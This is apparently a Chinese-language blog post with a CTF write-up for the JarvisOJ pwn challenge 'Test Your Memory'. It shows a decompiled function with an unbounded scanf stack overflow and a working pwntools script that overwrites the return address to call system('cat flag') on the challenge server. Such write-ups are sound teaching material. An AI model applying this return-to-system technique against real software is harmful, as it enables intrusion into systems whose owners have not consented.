[JarvisOJ][pwn]Test Your Memory

本文介绍了一个简单的栈溢出漏洞实例,通过分析程序代码,找到漏洞并利用system函数进行攻击,最终实现获取flag的目的。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

经历了前面2次的艰难,出题人或许嫌我们太累了,来了个简单的
走进程序找信息。开启的保护只有NX

.rodata:080487E0    00000009    C   cat flag

这里有命令字符串cat flag

0804A058        system  

这里有system函数,然后找漏洞吧

int __cdecl mem_test(char *s2)
{
  int result; // eax
  char s; // [esp+15h] [ebp-13h]

  memset(&s, 0, 0xBu);
  puts("\nwhat???? : ");
  printf("0x%x \n", hint);
  puts("cff flag go go go ...\n");
  printf("> ");
  __isoc99_scanf("%s", &s);
  if ( !strncmp(&s, s2, 4u) )
    result = puts("good job!!\n");
  else
    result = puts("cff flag is failed!!\n");
  return result;
}

_isoc99_scanf(“%s”, &s);这里有栈溢出漏洞。
东西凑齐了,简单栈溢出,用system 函数覆盖返回地址就行了

from pwn import *
context.log_level="debug"

elf=ELF("memory")
call_system_addr=0x080485BD
catflag_addr=0x080487E0
#p=process("./memory")
p=remote("pwn2.jarvisoj.com",9876)
p.recvuntil("cff flag go go go ...\n")
p.recvline()
p.sendline("A"*(0x17)+p32(call_system_addr)+p32(0x08048677)+p32(catflag_addr))
p.recvuntil("is failed!!\n")


p.recv()

用system函数地址覆盖返回地址,运行system函数的时候参数是cat flag 的地址

有一点需要注意的是进来一个程序先仔细查找一下信息,可能会有意想不到的收获.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值